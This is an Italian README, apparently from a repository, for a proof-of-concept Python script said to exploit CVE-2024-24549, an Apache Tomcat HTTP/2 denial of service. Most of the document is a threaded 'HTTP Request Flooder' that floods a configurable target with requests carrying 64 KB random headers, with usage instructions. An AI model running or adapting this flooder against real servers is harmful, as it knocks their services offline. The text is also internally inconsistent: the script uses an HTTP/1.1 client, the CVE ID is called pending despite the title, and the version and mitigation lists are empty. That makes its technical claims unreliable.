
Proof-of-concept script Python per CVE-2024-24549 che dimostra il denial-of-service HTTP/2 di Apache Tomcat tramite header di dimensioni eccessive che esauriscono le risorse del server.
Ecco un README.md per un Proof of Concept (PoC) che dimostra la vulnerabilità Denial of Service (DoS) in Apache Tomcat dovuta a una validazione errata degli input delle richieste HTTP/2:
Questo repository contiene uno script Proof of Concept (PoC) che dimostra una vulnerabilità Denial of Service (DoS) in Apache Tomcat. La vulnerabilità deriva da una validazione errata degli input delle richieste HTTP/2, che può portare a condizioni DoS.
CVE-ID: (In attesa)
Panoramica: Le versioni di Apache Tomcat da 11.0.0-M1 a 11.0.0-M16, da 10.1.0-M1 a 10.1.18, da 9.0.0-M1 a 9.0.85 e da 8.5.0 a 8.5.98 sono vulnerabili a un attacco Denial of Service. Il problema si verifica durante l'elaborazione di richieste HTTP/2 con header che superano i limiti configurati. Il flusso HTTP/2 non viene reimpostato finché tutti gli header non sono stati elaborati, il che può portare a un esaurimento delle risorse.
Versioni affette:
Mitigazioni:
Questo script PoC mostra come sfruttare la vulnerabilità DoS inviando richieste HTTP/2 che superano i limiti di header configurati. Lo script invia un gran numero di richieste per esaurire le risorse del server.
import http.client
import threading
import logging
import time
import random
import string
import argparse
import os
# Configuration defaults
DEFAULT_HOST = "target-server"
DEFAULT_PORT = 443
DEFAULT_NUM_REQUESTS = 1000
DEFAULT_CONCURRENT_THREADS = 10
DEFAULT_REQUEST_INTERVAL = 0.5
DEFAULT_LOG_FILE = "requests.log"
# Setup logging
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
def random_string(length):
"""Generate a random string of fixed length."""
letters = string.ascii_letters + string.digits
return ''.join(random.choice(letters) for i in range(length))
def dynamic_payload():
"""Generate a dynamic payload for requests."""
return random_string(random.randint(10, 100))
def send_request(conn, method, endpoint, headers, payload):
"""Send a single HTTP request."""
conn.request(method, endpoint, body=payload, headers=headers)
response = conn.getresponse()
return response.status, response.reason
def send_dos_requests(host, port, num_requests, concurrent_threads, request_interval, log_file):
def worker(thread_id):
conn = None
try:
conn = http.client.HTTPSConnection(host, port, timeout=10)
for i in range(num_requests // concurrent_threads):
method = random.choice(["GET", "POST"])
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"X-Test-Header": random_string(65536)
}
payload = dynamic_payload() if method == "POST" else None
status, reason = send_request(conn, method, "/", headers, payload)
logging.info(f"Thread {thread_id} - Request {i + 1}: Status Code: {status}, Reason: {reason}")
with open(log_file, "a") as logf:
logf.write(f"Thread {thread_id} - Request {i + 1}: Status Code: {status}, Reason: {reason}\n")
time.sleep(request_interval)
except Exception as e:
logging.error(f"Thread {thread_id} - An error occurred: {e}")
finally:
if conn:
conn.close()
# Create and start threads
threads = []
for i in range(concurrent_threads):
thread = threading.Thread(target=worker, args=(i + 1,))
thread.start()
threads.append(thread)
time.sleep(0.1)
for thread in threads:
thread.join()
logging.info("Completed sending requests")
def parse_args():
"""Parse command-line arguments."""
parser = argparse.ArgumentParser(description="HTTP Request Flooder")
parser.add_argument('--host', default=DEFAULT_HOST, help='Target server address')
parser.add_argument('--port', type=int, default=DEFAULT_PORT, help='Target server port')
parser.add_argument('--num-requests', type=int, default=DEFAULT_NUM_REQUESTS, help='Total number of requests to send')
parser.add_argument('--concurrent-threads', type=int, default=DEFAULT_CONCURRENT_THREADS, help='Number of concurrent threads')
parser.add_argument('--request-interval', type=float, default=DEFAULT_REQUEST_INTERVAL, help='Interval between requests')
parser.add_argument('--log-file', default=DEFAULT_LOG_FILE, help='File to log request results')
return parser.parse_args()
if __name__ == "__main__":
args = parse_args()
logging.info(f"Starting flooder with {args.num_requests} requests to {args.host}:{args.port} using {args.concurrent_threads} threads")
send_dos_requests(
host=args.host,
port=args.port,
num_requests=args.num_requests,
concurrent_threads=args.concurrent_threads,
request_interval=args.request_interval,
log_file=args.log_file
)
host sull'indirizzo del server target e port sulla porta appropriata (di solito 443 per HTTPS). Regolare num_requests per controllare il numero di richieste inviate.Per mitigare questa vulnerabilità:
Per ulteriori informazioni su come proteggere la propria installazione di Apache Tomcat, fare riferimento alla documentazione ufficiale di Apache Tomcat.
Questo README.md fornisce una panoramica della vulnerabilità, lo script PoC e le istruzioni per la mitigazione. Assicurarsi di gestire questo PoC in modo responsabile e solo su sistemi per i quali si dispone di autorizzazione esplicita.